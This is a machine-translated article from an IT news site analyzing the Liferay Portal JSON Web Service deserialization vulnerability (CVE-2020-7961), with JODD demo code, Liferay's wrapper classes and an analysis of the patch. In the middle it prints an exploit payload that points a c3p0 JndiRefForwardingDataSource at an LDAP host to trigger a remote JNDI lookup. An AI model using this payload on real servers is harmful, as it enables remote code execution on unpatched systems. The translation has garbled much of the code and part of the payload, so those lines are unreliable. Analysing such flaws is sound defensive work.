Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to analyze the Liferay Portal Json Web Service deserialization vulnerability (CVE-2020-7961)

2025-02-25 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

How to analyze the Liferay Portal Json Web Service deserialization vulnerability (CVE-2020-7961). Aiming at this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.

In Liferay Portal's handling of JSON Web Service, the Flexjson library was used in versions 6.1 and 6.2, and replaced by Jodd Json after version 7.

To sum up, the vulnerability is: Liferay Portal provides Json Web Service services. For some callable endpoints, if a method provides an Object parameter type, then you can construct an exploitable malicious class that conforms to Java Beans and pass the constructed json deserialization string. When Liferay deserializes, it will automatically call the setter method of the malicious class and the default construction method. However, there are still some details, which is quite interesting. The author looks up the picture in the article, thinking that idea does not provide such a convenient function, so it should be a self-implemented search tool. This paper analyzes the use of JODD deserialization in Liferay.

JODD serialization and deserialization

Refer to the official user manual and first take a look at the direct serialization and deserialization of JODD:

TestObject.java

Package com.longofo;import java.util.HashMap;public class TestObject {private String name; private Object object; private HashMap hashMap; public TestObject () {System.out.println ("TestObject default constractor call");} public String getName () {System.out.println ("TestObject getName call"); return name;} public void setName (String name) {System.out.println ("TestObject setName call") This.name = name;} public Object getObject () {System.out.println ("TestObject getObject call"); return object;} public void setObject (Object object) {System.out.println ("TestObject setObject call"); this.object = object;} public HashMap getHashMap () {System.out.println ("TestObject getHashMap call"); return hashMap } public void setHashMap (HashMap hashMap) {System.out.println ("TestObject setHashMap call"); this.hashMap = hashMap;} @ Override public String toString () {return "TestObject {" + "name='" + name +''+ ", object=" + object + ", hashMap=" + hashMap +'}';}}

TestObject1.java

Package com.longofo;public class TestObject1 {private String jndiName; public TestObject1 () {System.out.println ("TestObject1 default constractor call");} public String getJndiName () {System.out.println ("TestObject1 getJndiName call"); return jndiName;} public void setJndiName (String jndiName) {System.out.println ("TestObject1 setJndiName call"); this.jndiName = jndiName;// Context context = new InitialContext () / / context.lookup (jndiName);}}

Test.java

Package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {public static void main (String [] args) {System.out.println ("test common usage"); test1Common (); System.out.println (); System.out.println (); System.out.println ("test unsecurity usage"); test2Unsecurity () } public static void test1Common () {TestObject1 testObject1 = new TestObject1 (); testObject1.setJndiName ("xxx"); HashMap hashMap = new HashMap (); hashMap.put ("aaa", "bbb"); TestObject testObject = new TestObject (); testObject.setName ("ccc"); testObject.setObject (testObject1); testObject.setHashMap (hashMap); JsonSerializer jsonSerializer = new JsonSerializer () String json = jsonSerializer.deep (true) .serialize (testObject); System.out.println (json); System.out.println ("- -"); JsonParser jsonParser = new JsonParser (); TestObject dtestObject = jsonParser.map ("object", TestObject1.class) .parse (json, TestObject.class) System.out.println (dtestObject);} public static void test2Unsecurity () {TestObject1 testObject1 = new TestObject1 (); testObject1.setJndiName ("xxx"); HashMap hashMap = new HashMap (); hashMap.put ("aaa", "bbb"); TestObject testObject = new TestObject (); testObject.setName ("ccc"); testObject.setObject (testObject1); testObject.setHashMap (hashMap) JsonSerializer jsonSerializer = new JsonSerializer (); String json = jsonSerializer.setClassMetadataName ("class") .deep (true) .serialize (testObject); System.out.println (json); System.out.println ("- -"); JsonParser jsonParser = new JsonParser () TestObject dtestObject = jsonParser.setClassMetadataName ("class") .parse (json); System.out.println (dtestObject);}}

Output:

Test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call {"hashMap": {"aaa": "bbb"}, "name": "ccc", "object": {"jndiName": "xxx"}}-TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject {name='ccc', object=com.longofo.TestObject1@6fdb1f78 HashMap= {aaa=bbb}} test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call {"class": "com.longofo.TestObject", "hashMap": {"aaa": "bbb"}, "name": "ccc", "object": {"class": "com.longofo.TestObject1" "jndiName": "xxx"}-TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject {name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap= {aaa=bbb}}

In Test.java, two ways are used. The first is the commonly used way to specify the root type (rootType) when deserializing. And the second kind of official use is not recommended, there are security problems, assuming that an application provides a place to receive JODD Json, and uses the second method, then you can specify any type for deserialization, but Liferay this vulnerability is not caused by this reason, it does not use setClassMetadataName ("class") this way.

Packaging of JODD by Liferay

Instead of directly using JODD for processing, Liferay has repackaged some of JODD's functionality. The code is not long, so let's analyze Liferay's wrapper for JODD's JsonSerializer and JsonParser respectively.

JSONSerializerImpl

Liferay wrappers JODD JsonSerializer with the com.liferay.portal.json.JSONSerializerImpl class:

Public class JSONSerializerImpl implements JSONSerializer {private final JsonSerializer _ jsonSerializer;//JODD 's JsonSerializer is finally handed over to JODD's JsonSerializer to handle, but wraps some additional settings public JSONSerializerImpl () {if (JavaDetector.isIBM ()) {/ / probe JDK SystemUtil.disableUnsafeUsage (); / / related to the use of the Unsafe class} this._jsonSerializer = new JsonSerializer ();} public JSONSerializerImpl exclude (String...) Fields) {this._jsonSerializer.exclude (fields); / / exclude a field that does not serialize return this;} public JSONSerializerImpl include (String...) Fields) {this._jsonSerializer.include (fields); / contains a field to serialize return this;} public String serialize (Object target) {return this._jsonSerializer.serialize (target); / / call JODD's JsonSerializer to serialize} public String serializeDeep (Object target) {JsonSerializer jsonSerializer = this._jsonSerializer.deep (true) / / after deep is set, any type of field can be serialized, including collection and other types of return jsonSerializer.serialize (target);} public JSONSerializerImpl transform (JSONTransformer jsonTransformer, Class type) {/ / set converter, which is similar to the following setting global converter, but you can pass in a custom converter (for example, Data field of a class in the format 03x27x2020, serialized to 2020-03-27) TypeJsonSerializer typeJsonSerializer = null If (jsonTransformer instanceof TypeJsonSerializer) {typeJsonSerializer = (TypeJsonSerializer) jsonTransformer;} else {typeJsonSerializer = new JoddJsonTransformer (jsonTransformer);} this._jsonSerializer.use (type, (TypeJsonSerializer) typeJsonSerializer); return this;} public JSONSerializerImpl transform (JSONTransformer jsonTransformer, String field) {TypeJsonSerializer typeJsonSerializer = null; if (jsonTransformer instanceof TypeJsonSerializer) {typeJsonSerializer = (TypeJsonSerializer) jsonTransformer } else {typeJsonSerializer = new JoddJsonTransformer (jsonTransformer);} this._jsonSerializer.use (field, (TypeJsonSerializer) typeJsonSerializer); return this;} static {/ / global registration, for all Array, Object, Long type data, transform separate conversion processing JoddJson.defaultSerializers.register (JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer ()) when serializing JoddJson.defaultSerializers.register (JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer ()); JoddJson.defaultSerializers.register (Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer ()); JoddJson.defaultSerializers.register (Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer ());} private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer {private LongToStringTypeJSONSerializer () {} public void serialize (JsonContext jsonContext, Long value) {jsonContext.writeString (String.valueOf (value)) } private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer {private JSONObjectTypeJSONSerializer () {} public void serialize (JsonContext jsonContext, JSONObject jsonObject) {jsonContext.write (jsonObject.toString ());}} private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer {private JSONArrayTypeJSONSerializer () {} public void serialize (JsonContext jsonContext, JSONArray jsonArray) {jsonContext.write (jsonArray.toString ()) }}}

You can see that some of the functions of JODD JsonSerializer in serialization are set up.

JSONDeserializerImpl

Liferay wrappers JODD JsonParser with the com.liferay.portal.json.JSONDeserializerImpl class:

Public class JSONDeserializerImpl implements JSONDeserializer {private final JsonParser _ jsonDeserializer;//JsonParser, deserialization is finally left to JODD's JsonParser to handle. JSONDeserializerImpl wraps some additional settings public JSONDeserializerImpl () {if (JavaDetector.isIBM ()) {/ / probe JDK SystemUtil.disableUnsafeUsage (); / / related to the use of the Unsafe class} this._jsonDeserializer = new PortalJsonParser () } public T deserialize (String input) {return this._jsonDeserializer.parse (input); / / call JODD's JsonParser to deserialize} public T deserialize (String input, Class targetType) {return this._jsonDeserializer.parse (input, targetType) / call JsonParser of JODD for deserialization. You can specify the root type (rootType)} public JSONDeserializer transform (JSONDeserializerTransformer jsonDeserializerTransformer, String field) {/ / Converter ValueConverter valueConverter = new JoddJsonDeserializerTransformer (jsonDeserializerTransformer); this._jsonDeserializer.use (field, valueConverter); return this;} public JSONDeserializer use (String path, Class clazz) {this._jsonDeserializer.map (path, clazz) / / specify a specific type for a field. For example, if file is an interface or Object type for a class, specify a specific return this;}} when deserializing

You can see that some of the functions of JODD JsonParser in deserialization are also set.

Liferay vulnerability analysis

Liferay provides hundreds of Webservice that can be called in / api/jsonws API, and the Servlet responsible for processing this API is also configured directly in web.xml:

Click on a method at random to see:

It's a bit of a feeling to see this, you can pass parameters for method calls, and there is a p_auth for validation, but deserialization is before validation, so that value has no effect on vulnerability exploitation. According to CODE WHITE's analysis, there are method parameters of parameter type Object, so guess that any type of class can be passed in. You can first use the normal package call to debug. Instead of writing the normal call debugging process here, take a brief look at the post parameters:

Cmd= {"/ announcementsdelivery/update-delivery": {}} & p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

Generally speaking, Liferay first finds the method corresponding to / announcementsdelivery/update-delivery-> other post parameters are parameters of the method-> when each parameter object type is consistent with the parameter type of the target method-> restore the parameter object-> call the method using reflection.

However, there is no type specification, because most of the types are String, long, int, List, map, and so on, which are automatically handled when JODD deserialization. But for some interface / Object types of field, how do you specify a specific type?

The author mentioned that only the specified rootType can be displayed in Liferay Portal 7 to make calls, and the same is true from the above Liferay wrapper for JODD JSONDeserializerImpl. If you want to restore a specific object when a method parameter is of type Object, Liferay itself may parse the data to get the specified type, and then call the parse (path,class) method of JODD to pass the parsed specific type to restore the parameter object; it is also possible that Liferay did not do so. However, as can be seen from the author's analysis, Liferay did do so. The author looks up the call diagram of jodd.json.Parser#rootType (envies such a tool):

By looking up, the author finds a place where the root type can be specified, where com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl calls com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize (valueString, parameterType) and looseDeserialize calls JSONSerializerImpl,JSONSerializerImpl calls JODD's JsonParse.parse.

The next call to com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl is the process of parsing the WebService parameter by Liferay. One layer above it, JSONWebServiceActionImpl#_prepareParameters (Class), the JSONWebServiceActionImpl class has a _ jsonWebServiceActionParameters attribute:

There is another JSONWebServiceActionParametersMap in this property, and in its put method, when the parameter starts with +, its put method splits the passed parameter, which is preceded by the parameter name, followed by the type name.

The operation of put parsing is completed in com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement:

Through the above analysis and the author's article, we can know the following points:

Liferay allows us to call the Web Service method through / api/jsonws/xxx

Parameters can start with + and specify the parameter type with:

JODD JsonParse calls the default constructor of the class and the setter method corresponding to field

So you need to find classes that have malicious actions in the setter method or in the default constructor. To take a look at the utilization chain already provided by marshalsec, you can directly find Jackson and those with Yaml to see the utilization chain they inherit. Most of them are also suitable for this vulnerability, and it also depends on whether they exist in Liferay. Use the com.mchange.v2.c3p0.JndiRefForwardingDataSource test here and / expandocolumn/add-column the Service because it has the java.lang.Object parameter:

Payload is as follows:

Cmd= {"/ expandocolumn/add-column": {} & paired authentic Gyr2NhlXformulformDatekeeper 1585307550388 loginTimeout data Source = {"jndiName": "ldap://127.0.0.1:1389/Object", "loginTimeout": 0}

Parse the parameter type, deserialize the parameter object, and finally reach the jndi query:

Patch analysis

The Liferay patch adds type checking, in com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable:

Private void _ checkTypeIsAssignable (int argumentPos, Class targetClass, Class parameterType) {String parameterTypeName = parameterType.getName (); if (parameterTypeName.contains ("com.liferay") & & parameterTypeName.contains ("Util")) {/ / contains com.liferay and Util illegal throw new IllegalArgumentException ("Not instantiating" + parameterTypeName) } else if (! Objects.equals (targetClass, parameterType)) {/ / targetClass goes to the next layer to verify whether if (! ReflectUtil.isTypeOf (parameterType, targetClass)) {/ / parameterType is a subclass throw new IllegalArgumentException of targetClass (StringBundler.concat (new Object [] {"Unmatched argument type", parameterTypeName, "for method argument", argumentPos})) } else if (! parameterType.isPrimitive ()) {/ / parameterType is not a basic type but enters the next layer of if (! parameterTypeName.equals (this._jsonWebServiceNaming.convertModelClassToImplClassName (targetClass) {/ / annotated if (! ArrayUtil.contains (_ JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {/ / whitelist verification The whitelist class ServiceReference [] serviceReferences = _ serviceTracker.getServiceReferences () in _ JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES If (serviceReferences! = null) {String key = "jsonws.web.service.parameter.type.whitelist.class.names"; ServiceReference [] var7 = serviceReferences; int var8 = serviceReferences.length; for (int var9 = 0; var9 < var8) + + var9) {ServiceReference serviceReference = var7 [var9]; List whitelistedClassNames = StringPlus.asList (serviceReference.getProperty (key)); if (whitelistedClassNames.contains (parameterTypeName)) {return Throw new TypeConversionException (parameterTypeName + "is not allowed to be instantiated");}}

_ JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES all whitelist classes are not listed in portal.properties if they are too long. They are basically classes that start with com.liferay.

This is the answer to the question on how to analyze the Liferay Portal Json Web Service deserialization vulnerability (CVE-2020-7961). I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel for more related knowledge.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report